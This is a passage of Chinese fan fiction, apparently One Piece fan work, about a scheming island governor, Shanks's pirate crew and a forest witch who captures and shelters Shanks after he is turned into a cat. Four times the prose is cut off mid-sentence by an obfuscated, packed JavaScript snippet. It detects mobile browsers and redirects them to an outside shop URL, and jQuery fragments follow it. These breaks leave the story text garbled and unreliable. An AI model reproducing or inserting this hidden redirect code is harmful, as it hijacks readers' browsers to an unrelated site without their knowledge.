在夕阳最后的余晖即将消失在海平面之前,帕帕哈瑙半岛督爵阁的长廊上,响起了一阵匆忙的脚步声。
“如果我们不借助他们,我们又能借助谁呢?你自己想想吧,凯尼,只凭我们,根本逮不住那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261276|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个狡猾的巫女。那帮海贼竟恰巧也在找她———这对我们来说可是千载难逢的机会。”
“可是……”
“没有可是,凯尼。我说的话你只管吩咐下去照做就行了。”
被称作“督爵”的男人像想起了什么似的,忽然停下了脚步,开口道:
“你以为我是为了开发那片森林么?凯尼。像帕帕哈瑙这种破岛,说到底,能有什么发展?哪怕把森林里的树全砍了换成商业街也招揽不到什么生意。不过就那样罢了!”
督爵猛吸了一口烟,又长长地吁了一口气,继续说:
“我们得为了自己做打算,咱们要抓那个巫女,不光是为了拿到她一直占着的那片森林。凯尼,最重要的———是巫术啊!那可是足以扭转生死的巫术!”
督爵越说越激动:
“我接手到的情报不会有假,有人亲眼看到那个巫女复活了一只动物。毫无疑问,她掌握着死灵术,那种被先民所禁忌的法术。而我们——必须要把她掌握在手里。扭转生死,你想想吧,如果我们兄弟俩掌握了这个,这可是比做天龙人还要高贵的事情,咱们再也不用在这个破岛上当什么该死的没落贵族了,翻身的日子还远吗?”
督爵阁长廊的尽头,是一扇红木质的大门,打开大门之前,督爵向身边的行政官低声嘱咐道:
“刚才跟你说的巫术的事,咱们兄弟俩,你知我知。”
行政官凯尼会意地点点头,为督爵推开了办公室的大门。
办公室里待着四个男人,四个人各自占着房间一隅。
其中一个灰白色头发的男人倚靠在办公室待客沙发上抽烟,胳膊随意搭在沙发靠背上,□□就斜靠在他手边。另一个佩着枪的则倚在总督办公桌的前面,正用一块布擦拭枪管上的烟尘。
另两个站在办公室大落地窗的前面,金发带墨镜的那个向窗外放风张望,光头的那个则扫视着室内。
推门的瞬间,四个人的视线几乎同时转向门口,一种莫名的压迫感覆盖在寂静的房间里,就像同时被豺狼虎豹盯着一样。
倚在沙发上的那个灰白头发的海贼先开口了:
“尊贵的岛主贵族大人,特意找我们这些海贼有何贵干?”
气氛显然凝固了一会儿。督爵虽然被这架势吓到了,但他总归也不是没有见识过的人,他脸上即刻搭了笑,陪笑道:
“哎呀欢迎欢迎,各位贵客,能赏脸到访真是我们莫大的荣幸。也是整座岛的……”
“有事说事!”金色长发的海贼有点暴躁地打断了督爵的客套话。
“好好好、关于这个——舍弟之前应该已经跟各位大致说明了。”督爵脸上的堆笑不减:
“总而言之,我们是特别来帮助各位一起抓捕森林巫女的。”
6. 变形术(三)
“帮我们抓她?”贝克曼似笑非笑地说,又抬手把烟头摁熄了。“对你们有什么好处?咱们的岛主大人还不至于慈善到对海贼无事献殷勤吧?”
“哎呀,哪里哪里。”督爵稍显局促地笑道:“如果不是那巫女一直占着那片森林不走,我们也不至于一直发愁到今天。”
总督侧头向身边的行政官递了个眼神,示意他给客人倒酒。
“她住的那片森林,几年前我们就早有规划,想把树全砍了,改建一片商店街和广场,也好给岛上每年的公共财政多赚点营生。”
行政官给海贼逐个斟满了酒,但这些人似乎并没有要喝的意思。真是些不识货的家伙,行政官暗自腹诽。督爵还在和他们交涉:
“可是光凭我们,压根儿赶不走那个邪恶的魔女。她的那些花里胡哨的巫术简直防不胜防。”
督爵最后自己为自己倒满酒,红色的酒杯里,自己赤红色的倒影扭曲着。
“港口消息传得杂,我们这才知道各位原来和我们是志同道合,都是要想办法把那魔女逮出来——所以,我们才想到要跟各位合作。我们掌握不少关于巫女的情报,想必能帮上各位的忙。”
“直接说吧,你有什么要求?”
贝克曼直截了当地问了。督爵这个人前面铺垫的那些,无非是为了最后的目的。
“我知道各位需要让巫女给船员治病,在各位达成目的之后,我想拜托各位,”督爵用郑重的语气请求道:“把巫女交给我们来处理,也就是说——我们想要抓她活口。”
“你们抓她,不就是为了叫她把森林让出来吗?还是说有什么别的目的?”耶稣布试探着问。面前的酒他尝试灌了一口,但他不好这一品类的。
“啊、当然、当然啦——她占着那片森林那么长时间,可叫我们苦恼坏了。等她出来后,我们得让她活着才能判她刑呢,谁让她总是无视我们的命令,且屡教不改呢。”
督爵虚掩着转移话题,他可不想让这群海贼知道死灵术的情报:
“所以,各位意下如何呢?”
谁都没有说话。
房间里一阵恐怖的沉默过后,贝克曼先开了口:
“我们答应你。我们答应你会想办法抓到她。”
他说着又点了一根烟:“所以关于她的任何情报,你可以跟我们说说。”
听到这话,督爵那张布满皱纹的老脸上终于绽放出了几分真切的欣喜。他向行政官示意了一下,后者拿出几个皮制手提箱,摆在案桌上。
“规矩我们都懂,自然是不会让各位白白出力,”督爵示好地笑着:
“除了这些钱之外,后续商业街建成之后的分红,各位当然也有份——不过分红的契约得要等到抓到巫女之后才签了。”
督爵谨慎地观察着对面人的脸色,海贼打开几个手提箱子,互相之间递了个眼神。
“至于那个巫女,”督爵继续道:“在森林里打败她基本是不可能的事情,那森林现在是她的地盘,她的巫术能操纵里面的一切。唯一的办法,就把她从森林里引到外边来。”
“说得容易,拿什么引?”莱姆琼斯“啪”地一声把手提箱盖上。
贝克曼盯着烟头的火光,在想什么似的:“你们以前试过用火吗?”
“我们基本上什么都尝试过了,没用,那女人的巫术怪异的很。”
几个人一齐看向他们的副船长——整个船上最有主意的人,期望着他赶紧想点办法出来。
副船长对着他们“嗷嗷待哺”的眼神有点无话可说,他转头朝向窗外的方向大概思索了一会,而后缓缓开口:
“把她引出来的事情就交给我们,但也需要你们那边提供一些人手。”
————————————————
回到家的时候,天色已然暗了下去。
巫女把怀里的小猫放到地上,接着脱掉斗篷,最后解开腰间的那把刀,搁到餐桌上。
香克喵被放到地下后迅速窜到了餐桌椅子的最高处,像探寻新领地一样四处打量着这座木屋。
这栋木屋面积不算大,但该有的生活设施倒都算齐全,家具装饰的风格也很温馨,如果无视这栋屋子隐藏在森林最深处这一点的话,跟寻常岛上的住家基本没有什么差别。
“你饿了吧。”她又伸手挠挠小猫的脑袋,“我马上去做点吃的,先等会儿我。”
她转身去了厨房。这对香克喵来说是个好机会,让他有机会可以在这栋屋子里面自由地四处探查一番——尽管是以一只猫的视角。
红砖搭砌的壁炉,有股烤橘子的香味,紧邻着的是亚麻面料的沙发,木质的梳妆台和椅子,桌面妥帖铺着的格子花纹的红色桌布,以及南边窗户挂着的暖黄色碎花窗帘下栽着几盆绿植——原谅他除了沙发的亚麻面料似乎很适合小猫磨爪子之外,什么都没发现。
香克喵为此的沮丧没持续多长时间,因为他很快发现了一扇紧闭着的门。
越是这种紧闭大门的禁地,他就越想进去看看,这既是小猫的天性,也是海贼的天性——所以就原谅我吧,香克喵刚想后腿发力跳起来打开门把手,身体却忽然被一双手腾空抱了起来。
“小猫不可以进去,里面很危险的。”巫女的声音从背后幽幽传来:
“因为里面有可以吃掉小猫的怪物哦——就像这样子吃掉!!”巫女抱着香克喵,故意动作夸张地使劲蹭了蹭它的脖子,而后又亲了两下猫脑袋。
香克喵被亲得有点懵。最后被她抱走时,他还盯着那扇紧闭的门。
好,一定要找机会进去看看。
————————————————
这只小猫有点奇怪。但非要让她说哪里奇怪,她又说不上来。
该怎么说呢?有的时候傻乎乎的,有的时候又聪明得像个人一样。
一进门就大大咧咧地在屋子里到处乱逛,上蹿下跳,也不管自己其实少了一条腿,可能会蹦到哪里撞伤自己。
而且话很多,经常对着自己“喵喵咪咪”地叫唤,她觉得这只小猫可能想要向自己传达什么事情,渴了?饿了?都不是,一直盯着酒瓶干嘛?小猫可不能喝酒。
给它洗澡的时候又挣扎得很厉害,它是个男孩子——给它洗澡的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261277|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候才注意到,当自己自言自语“公猫是不是绝育一下比较好”的时候,小猫又扑腾地把水盆打翻了,水溅了她一身。
还有就是这个时候——它一边看着她一边“喵喵”地叫。好吧,她承认自己的身体和平常人不太一样,她的前腹部和背部纹着很多青色的咒文——历任巫女都是这样,但这跟小猫又有什么关系?
于是她把小猫抱出浴室:“你已经洗过了,出去自己玩一会儿吧,现在该我洗了。”
————————————————
这位巫女很奇特,但如果非要让他形容哪里奇特,他又有点形容不上来。
尽管他们船上不乏怪人,在海上漂着的这么多年也见过不少怪家伙,但香克斯仍要这么说。
包括但不限于那间紧闭大门、禁止进入的神奇房间,稀奇古怪的各种咒语,书桌上各种神秘的手工、图画,和他也认不出来的小玩意儿,当然还有现在———
她躺在床上一边搂着他,一边对他有一搭没一搭地说话。
就在今天上午,香克斯还没变成一只猫的时候,她总共就对他说了两句话,一句让他滚,还有一句让他去死。
然而现在,当他被森林奇怪的法术变成猫的时候,她反而情愿搂着他说很多心里话。
被窝里很温暖,灯已经尽熄了,人和猫就这样在看不见彼此的黑暗中紧紧挨在一起。
“今天差点儿就要被那帮海贼抓走了。”
巫女埋在香克喵的胸口叹气,声音闷闷的。
“被那两个人堵住的时候,我简直快要吓死了。”
“那个灰白头发带枪的人,他的胳膊比十个小猫咪的手臂加在一起还要粗。”她一边捏着香克喵的猫爪,一边在黑暗中比划形容。
在说贝克吗?香克喵才反应过来。
“还有那个红头发带着刀的人,他的眼神比一百个小猫咪的眼神加在一起还要凶。”
在说我吗?呃,当时有那么夸张吗……?
她的语气又渐渐沉了下去。
“岛上最近的形势也有点不太好。”
“我在想……要不要干脆离开这里,去别的地方呢?”
很长一段时间,她没有说话。只是在黑暗中,轻轻地叹了口气。
她侧身把自己的脸埋在香克喵身上。
……
“喵呜?”你在哭吗?
香克喵觉得自己的皮毛似乎被打湿了。人的眼泪常常是苦涩而沉重的。
香克喵把猫爪搭到她身上。
“我没事。”
她转身平躺过来,胳膊捂在眼睛上,擦掉了眼泪。
“不管去哪里,我都会带着你的。”
“不管发生什么,我一定会保护你。”
她搂住她的猫,声音平静下来。
香克斯第一次觉得,所谓“魔法”之类的东西,也许是切实存在的。不然为什么,在她亲吻过他后,有一种深沉的睡意,便像海浪一样,席卷他的脑海。
在他沉入睡眠前,他还在想这可能是什么关于睡眠的咒语。
“晚安,小猫。”
7. 醉鬼鲨(一)
“快点、动作快点、别墨迹。”
一个身穿皮革夹克的男人指挥着三五个运工将一箱箱密封的木桶陆陆续续搬运下马车。
两个一齐抬举着桶沿的运工被催促着加快了手脚,木桶从车上运下来,东碰西撞,木桶的金属封沿一下子磕在了马车木板边缘,发出了呼呼的响声。
“轻一点!想不想活了?”领头的皮夹克男人上去踢了运工一脚,一边喝骂着:“箱子弄破了咱们都得交代在这。”
“老板,这里面装的什么?”其中一个人问他。
“这是咱们督爵花大价钱从海贼那里买过来的好东西——威力相当的炸药。这两车加起来,把半座森林炸开也不是问题。”
皮夹克男欣欣然吵嚷着,又抬头看了眼自己面前的一片森林,在晨雾中浮现出青绿的轮廓。
“这些炸药绕着森林排开布置就行,动静别太大,别叫那魔女发现了。知道么?让她看到了咱们都得遭殃。”
……我已经看到了,这帮衰仔。
就在距离这伙人的马车不远处的红杉树背后,隐匿在森林里巫女暗自拉弓,一径瞄准带头的皮夹克男的脑袋。
从她今早出门开始,心里就一直隐隐有种不好的预感,总有种说不出的难受,就像今天会发生什么大事一样。
箭在弦上,临发之际,丛林的另一侧却突然蹿出一道灵活的身影。
“啊~哒~!”
伴随着一声吼叫,领头的皮夹克男被那道身影一脚踢飞了。
什么东西?!
众人定眼一瞧。
是只猴子?
哪来的猴子?!
别说搬箱的运工没反应过来,就连躲在一边的巫女也一脸懵,原本瞄准好的弓箭也缓缓放下了,哪来的猴子?
虽然是只猴子,但却骁勇善战得很,几个成年人加在一起都不算它的对手。
它靠着森林地形的优势,在树枝之间之间自由地摆荡来去,先是一脚踢飞了车队的领头,环过身,又把上前助阵的运工眼睛给挠花了。
巫女偷藏在一边观察局势,虽不知道是哪儿来的猴子,但从结果上来讲,确实是帮了她个大忙。
其中一个运工预备着打火机要点燃火把去燎那只猴子,一边的巫女见势即刻拉弓搭箭,一箭离弦便射穿了他持着火把的手掌。
车队一行人登时被打乱了节奏,尚活着的运工已然顾不得自己老板和什么炸药,奔着森林的反方向四散逃窜走了。
目送敌人慌乱奔逃的背影,猴子从树上闪身下来,振臂呼出几声胜利的嚎叫。
“谢谢你帮我阻止他们。”巫女见四下已然无人,上去对猴子道了谢,也不知道它究竟听不听得懂。
这只猴子看上去却相当喜悦,围着她欢快地跳来跳去,好像在庆祝胜利。它喉咙里发出嘹亮而富有旋律的叫声,就像是在唱歌一样。
她不敢说自己已经熟知了森林里的每一只动物,但既能打架还能唱歌的猴子她还是第一次看见。
不对,她突然反应过来,说到猴子,昨天闯进森林里的那伙海贼身边,说起来,是不是也带着一只猴子?
是这只吗?她仔细端详起来,看了又看,但却分辨不出来,猴子在她眼里似乎都长得差不多。
在乐不可支的一番庆祝过后,猴子一手抓住她的衣角,另一手频频指着对面的方向,像是有什么话要说似的。
“让我跟着你去那边?是这个意思吗?”她稍微有点疑惑。
猴子激动地拍拍手,表示赞同。
“可是往那个方向一直走就离开森林了,森林外面很危险的。”她蹲下身,耐心地对它解释,“你也是,呆在这里比较安全吧。”
猴子听到她的话之后,便又开始张罗着动作起来,手舞足蹈地上下比划着,手指一直频频指向那个方向。
“是非去不可的意思吗?”她看着猴子不停地比划,又转头看了眼刚才那伙人留在这的炸药。
“那我……稍微陪你走一段吧。”巫女妥协了,“前提是距离不太远的话。”她随后补充道。
不放心它一只猴行动是其中一点,另一个原因,就是刚才那些人留下的这些炸药。这些箱子绝不能长久地留在森林里。得赶快出手出去,她想她或许得去集市地下的黑市打听打听,有没有人愿意接手转卖。
听到她愿意同行,猴子瞬时开心起来,捏着她的衣角就往前奔。
“啊、跑慢点啦。”
———————————————
市镇的喧闹最初是从气味开始的——烤黑麦面包的焦香、海鱼摊的腥咸、铸铁铺呛人的碳灰味,还有不知从哪条巷子溢出来的,甜得发腻的蜂蜜酒气。
这座市镇的闹市区距离港口的位置并不远,人口流动最为密集,出售着各色本地特产和进口物资,是往来船只落脚帕帕哈瑙的必经之处。
每年的固定几个日子,巫女也会离开森林来到这里,稍微囤进一些日常用品和森林里采集不到的药材原料。
距离闹市中心的那座标志性的猫头鹰木雕向北走大概两三百米,左拐一个小巷子,从一个狭窄通道的入口进去,就是帕帕哈瑙的地下黑市,她每年来到这里的时候,同时也会把自己制作的魔药拿出去卖掉,她在黑市还有几个固定的熟客。
集市地形复杂,巷口纵横交错。刚进集市没走两步,刚才一直跑在前面的小猴子便闪进一条巷口,消失了踪影。集市上人挨着人,摩肩接踵的人群的喧闹声盖过了她的呼唤。
没有办法,她只得紧跟着挤进了那个巷口。在巷口拐角处刚转身,还没来得及抬头注意,迎面就撞到了一个人身上。
“抱歉。”她没在意,简单脱口道了歉,照常低头侧身离开。
可就在这个时候,手却被猛然抓住了。
她惊疑地转头,顺着抓住她的那只手抬眼看过去———
是那个人!
是昨天在森林里抓她的那个灰白头发还带着枪的海贼!
看清他脸的第一眼,昨天和那群海贼对峙时那种惊悚的感觉再次从她的脊背直冲上大脑,心脏紧跟着慌乱地狂跳。
怎么办怎么办、不、不。冷静、冷静、冷静。昨天自己在森林的时候是带了鹿角面具的,他现在在这里应该认不出来我才对。
没错、没错。只要别太慌乱露出什么破绽。
“这位小姐,你……”
贝克曼仔细打量了她一下,刚要说话。
“我不认识您,先生,别抓着我。”她一把甩开他的手,转头加速快步走出了巷子,甚至不敢回头看一眼。
离开这条巷口,越过转角,她立刻跑了起来,一直跑到集市中心猫头鹰雕像附近才停下,在雕像的阴影下探头四处观察了好一阵子。
很好,没有追上来。
她长舒了一口气,堪堪放下心来。
就在她正纠结
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261278|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着究竟是继续去找找猴子,还是不管它直接先去黑市地下的时候,对面饭馆通向二层的楼梯转角处,传来了一阵很大声的叫嚷。
一个身材高大,戴着墨镜的纹身男子跟他身旁的另一个同伴不停唠扯些闲话:
“那边酒馆老板可发达喽,抓到了只猴子,听说还会唱歌呢,预备着拿去卖掉。”
“啊,请问是哪个酒馆的老板?”
她不由自主地上前去询问,话刚说出口的时候她已经开始后悔了,觉得自己实在是有些鲁莽,面前这个胸口和手臂上纹着条龙的男人看上去也不像个善茬儿。
“就那个,”他朝着楼梯对面方向抬起下巴示意了一下,巫女顺着方向看去,酒馆门头挂着一个颜色鲜艳的名字———“醉鬼鲨”。
————————————————
其实她从没进去过像这样的酒馆。暂且不提这里长期盘踞各路海贼、佣兵和逃亡者,更重要的是她本来也不喜欢人多嘈杂的社交场所。
就只问一句,就只问一句我就走。就一句话。就一句话……
她心里反复念叨着,除了和昨天的那几个海贼之外,她已经有好久没和活着的人类对话过了。
巫女轻轻地把酒馆的门推开一个小角度,她想要尽可能不引人注意,几乎是从打开的那点门缝中钻进去的。最好所有人都顾着喝酒取乐,当她是透明最好。
酒馆内甚至比集市上还要吵嚷,推开门的一刹,声浪混杂着发酵麦芽的酸热和烟草的辛辣撞了上来,这些声音和气味像突然间有了重量似的,重重压在她身上。
那些不知从哪儿来的水手坐在陈旧的酒桶上和同伴厉声笑骂,言辞激烈时就抓起木质酒杯往喉咙里灌酒。另一群坐在窗边的海贼用粗粝的手掌不断着拍打桌面起哄,哼着一些走调的航行歌曲,过量摄入的酒精使他们的脸色从脖颈一直红到耳尖。
离门口最近的一个醉汉直接躺在地上,在她路过时忽地伸出胳膊,朝她要酒,嘟嘟囔囔说话时眼睛都没睁开。被她灵活地躲过去了。真是一群名副其实的醉鬼。
好在这些醉鬼的心情都在酒上,还没有人注意到她。她偷悄悄地加快脚步,冲向吧台,吧台这里人不算多。
吧台老板穿着一身燕尾服,与那些醉汉相比甚至有些不入流的讲究,小胡子打理得整齐,正在调酒。
“老板,抱歉打扰您了,”她径直坐在吧台对面,语速很快地重复着刚才在心里预备着很多次的话:
“听说您抓到了一只会唱歌的猴子,我可不可以……”
她的话方才说到一半,身边空着的位置忽然坐下了另一个人———
一个金色长发,戴着墨镜的男人,气势十足地把自己的武器倚靠在吧台边缘上,金属制棍棒与木头碰撞,发出了很大的动静。
见到他的一瞬间,她立刻对原本预备说的话已经没有任何想法了。
她立马从座位上起身,准备以最快的速度离开这个酒馆———刚才过来坐在她身边的那个金色头发男人,正是昨天追击她的海贼之一,她认得出来。
刚才她在外面的巷口还碰到了另一个呢,这绝对不正常。
“别走啊,小姐。”
莱姆琼斯一手擎着一杯酒,“叩”地一声拍在巫女身前吧台的桌面上。
满溢的酒面震荡着,一些酒水撒了出来。
“刚才的话还没说完吧,我请你喝一杯,你来继续说吧。”
8. 醉鬼鲨(二)
“刚才的话还没说完吧,我请你喝一杯,你来继续说吧。”
莱姆琼斯把胳膊搭在吧台上,看似散漫地向她搭话。
说,说你个蛋啊!
虽然巫女很想立马这样反驳,但最后并没有说出口,她现在最重要的任务就是尽此生最快的速度赶紧逃离这个不妙的地方。
她未置一词,迅速转身,还没等迈开一步,有另一个人忽然抢在她身前,堵住了她的去路——正是刚才她在酒馆门口问话的那个人,戴着墨镜,胸口和手臂上纹着龙的人。
被耍了,彻底被摆了一道。
她抬头看到面前的人,方才恍然大悟。
现在面前的这个纹身男,身边的金发海贼,还有刚刚她在巷口撞见的那个带着燧发枪的海贼,乃至更早一点,她在森林里遇见的小猴子——他们其实早就在一起串通好了。
甚至于……她不敢再想下去了。
但眼前的所见显然认证了她最坏的猜想。
整个酒馆的气氛登时冷却了,原本嬉皮笑脸哄笑成一团的水手和海贼霎时沉寂下来。那些人压着眉头、虎视眈眈地转头注视着吧台的方向——就连一开始卧倒在大门口的那个醉鬼,如今也爬了起来,拎着棍子侃然正色地守在门边。
“今天这里被我们海贼团包场了,你想喝什么尽管点吧。小姐。”
航海士斯内克慨然地对她挥手道。
哈,能被算到这种地步,她简直有点想笑了。
她向后一步,和面前的男人拉开些距离,身后靠撞到酒馆吧台。她想尽量让自己依靠着什么,以设法使自己赶紧冷静下来。
面前显然已经没有路可以跑了,她离酒馆门口还有那么远的距离,何况中间还隔着这么多的海贼呢?
如果被抓之后再找机会逃走呢?不行,那样太不可控了。现在,必须现在想办法逃走。
只要用咒语尽量制造混乱……已经没有时间可留给她思索了。
“Eili……”咒语脱口而出,然而一切都为时已晚。
一双手臂自吧台后伸出,从她身后紧紧地勒住了她的喉咙和嘴巴。
“唔呜!唔———”
她下意识剧烈挣扎起来,吧台上原本码放的酒杯在挣扎中被尽数扫到地上。
“大哥,我抓到她了!”伪装成吧台老板的行政官凯尼激动地朝身后报告。
在他身后,头戴短礼帽的督爵从酒馆吧台幕后应声走出。
“勒住她,别再叫她跑了。”他先是低声对凯尼叮嘱,而后又像换装一样变了副笑脸,对着面前的气势汹汹的一群海贼告布道:
“承蒙各位海贼朋友出手,可算是抓到她了。今天所有酒钱我们买单,大家尽情…...”
“喂,老东西!”督爵说到一半的话被金色长发的海贼打断了,“叫你的人把手放开,我们待会儿要请她去船上治病。”
莱姆琼斯看到行政官那种人勒着她的脖子,这样欺负一个小姑娘的场面让他感到有点不爽。虽然就抓捕行动的结果而言,他自己也是其中一环。
“哎呀,您有所不知,”督爵依旧笑着,并未因面前海贼的态度而生气,“这女人的咒语邪门得很,要是把她放开,她肯定一下子就开溜了。”
巫女还在不停挣扎,用尽力气想要逃脱行政官的束缚,督爵在旁边睨了她一眼,继续说:
“我们必须得对她的身体做过仔细检查才能放心交给各位……”
霎时间,酒馆里这一帮海贼手中的各式枪口和刀棍,便齐刷刷地对准了督爵的脑袋。
搞、搞什么,两派黑吃黑?能不能不要把我夹在中间?
巫女还在奋力挣扎,尝试扒开束缚她的手臂,行政官的胳膊掐得她现在呼吸困难。
“这、各位这是做什么,”督爵的笑容终于消失,他看着那些对准自己的武器,神色阴沉下来,“我记得我和各位之间是有过约定的吧。”
他尽力掩盖自己声音中的颤抖,但他清楚海贼从不会跟他开玩笑。
“我们确实有过约定。”
酒馆的木门被推开了,木门的扇叶摩擦发出喑哑的声音。
在对准岛主的那些武器尽头,这伙海贼的大副走了进来,贝克曼仍旧像往常一样叼着烟——如果能够无视他手中握着的那杆枪的话——这似乎就像任何一场普通的对话:
“但我们约定的前提是——她必须先来我们船上一趟。”
————————————————
早上她离家出发时叮嘱了香克喵很长的一段话,那时候还是清晨,薄雾笼罩的太阳将金灿灿的光芒送进窗叶的缝隙。
昨晚香克斯不知道自己怎么回事,他竟然睡着了。醒来的时候,身体并没有复原,仍旧是一只猫。
他记得她出门前搂着自己说了很多的话:在家不要淘气,不要抓窗帘,上蹿下跳的时候注意不要摔到自己,别去爬水桶,最重要的是——不要进“那间屋子”。
“我很快就回来,在家等我。”
最后的最后,她像昨晚睡前一样亲吻了小猫的额头,而后出门离开了家。
好吧,如果她此时此刻回到家的话,香克喵需要对她道个歉(或许喵呜一声),因为她特别列举的那些不要做的种种事情,他在屋里屋外到处探索时,基本上全做了个遍。
最要紧的是,他现在正待在那个“禁止进入”的房间里。
虽然她走之前锁上了这个房间的门,但香克喵还是从房顶连接通风橱的管道里挤进来了。
猫是液体——这是香克斯做猫两天得出的宝贵经验。
这个房间里并没有窗户,只有一个向上的通风橱,好在猫的夜行视力良好,香克喵借助从其他房间反射进来的一点光亮看清了周围环境。
这里像是一间调制药品的实验室。橙皮和白苔的气味,还有很多不知名的其他药草味混杂在一起,这种味道让他想起了本乡在船上的医务室。
香克喵左看右看,猜测这里也许有能让本乡或者自己恢复过来的药。
房间的正中心有一口大锅——第一眼就能看到,不仅因为它摆在整个屋子最显眼的地方,还有靠近锅底的地板上,以及锅身上的那些繁琐的符文,首尾相接绕成了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261279|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个圆形。右侧靠墙的桌面上有一套铜制仪器,左侧墙壁摆满了一排木架子,形状像是活体树根编织而成的,表面材质并不平整,陈列着各色外形奇特的药瓶和书籍。
架子底下压着的那个木柜——整个房间草药味道最浓郁的地方,大概是用来存储风干药草的。
香克喵用猫爪把书一本本扒拉出来,这里会不会有什么线索?
《关于露露西亚王国之你不知道的一百个小秘密》
《母牛养殖与产后护理》
《德雷斯罗萨王国拖拉机简史》
《如何处理仇人的骨灰》
这都什么跟什么书?
猫爪子继续扒拉扒拉,往后只有一些看不懂文字的笔记,其中一页夹着一个印着半身狮头的徽章。
书架被香克喵弄乱了,他于是跳到隔壁的架子上,结果后腿一不小心踢掉了什么东西,那不知道是什么动物的头骨。
这个架子上摆着好多形状各异的玻璃瓶子。
香克喵突然有一种奇异的冲动——好想把瓶子扒拉到地上,摆在架子边缘的那些药瓶简直在诱导他。
他做人的时候绝对没有这种习惯,香克斯发誓,这肯定是猫的什么毛病,看到桌上的物件就有种想要推下去的冲动。
他心里还在思索的时候,身体却已经先做出了行动——几个药瓶被猫爪子一点点推、推、推、最后扒拉到地上碎掉了。瓶子里的液体撒了出来,溅到刚才的书页上。
糟糕糟糕,他赶紧跳走了。结果爪子抓到墙面挂着的图画上——一幅手绘的人体骨骼和脏器图被猫爪子抓出几道显眼的裂痕。
哦,不好不好,他赶紧又跳到最近的桌面上,然而尾巴又把试管架弄倒了,圆口试管在桌面上轱辘得到处都是。
香克喵现在终于知道为什么不让他进来这里了,房间里现在唯一没有遭猫毒手的就只剩那口大锅了。
那口大锅——他忽然起了好奇,那些咒文和符号连接成一圈奇特的形状。
香克喵跳下地面,刚想要伸出猫爪子试着碰碰,可忽然间,他觉得头晕目眩。
只听到“砰”地一声,一阵烟雾过后,香克斯复原了——他变回了一个人类。
什?我刚才干了什么?香克斯摸了摸自己的脸,复原了,一切都原模原样地复原了。
是因为那口药锅的缘故吗?不,不对,他刚才甚至还没来得及去触碰那口大锅呢。
是因为——他心里忽然升起一股不好的预感,香克斯起身从里面打开房间的门,木屋窗外照射的阳光已经从窗边缓缓爬升到沙发背上——现在已经是下午了,他在那个黑漆漆的房间探索了太长时间。
巫女是清晨出门的,可现在却还没有回来。
心里糟糕的预感加剧了,施加在他身上的巫术消失了,那或许是因为是因为施术者——那个女孩遭遇了什么不测。
他现在必须要赶紧去找到她。
香克斯打开门刚想走出去,感到身上凉飕飕的,哦,对了,衣服衣服、好在自己的衣服还没来得及被她剪成猫窝,格里芬也还好好地搁在餐桌上。
9. 血的祝福
“喂,小丫头,我们船长叫你给整哪儿去了?”刚一登上甲板,接舷处的一帮海贼便迎上来嚷嚷着质问。
“你们船长,你跑来问我?”放到以前,对这种陌生海贼的喝问她多半会不予理睬,或者干脆找个合适的借口敷衍搪塞过去。但她今天格外火大,先是被岛主抓住,如今又上了贼船。她现在实在没有对任何人体面的心思。
雷德弗斯号所泊留的港口位于岛的东面,这里同时还停留着几艘横帆商船和私人游艇。大大小小的船只一齐为港口弯曲的海岸线所环抱,偶有几条舢板或长艇,拖着已生锈的铰链穿梭在近海与港口之间。
这无疑是一个适合出航的好日子。天气格外晴朗,空中连一丝云都找不到。晴爽的季风既吹动桅杆上黑色的旗帜,又配合着海鸥安逸地打理自己的羽毛。潮水规律地拍打礁石,像母亲轻柔地摇晃臂弯中的婴儿。
多么一幅自在和谐、令人振奋的图景——如果巫女本人是个热爱大海、热爱航行的人也就罢了,可惜她并不是。
港口腐烂鱼虾的气味令人生厌,藻类和沥青的浓重味道同样令她腻烦。更不必说这里交织着野调无腔的各类言语,以及起重机工作时沉重喧杂的噪音。
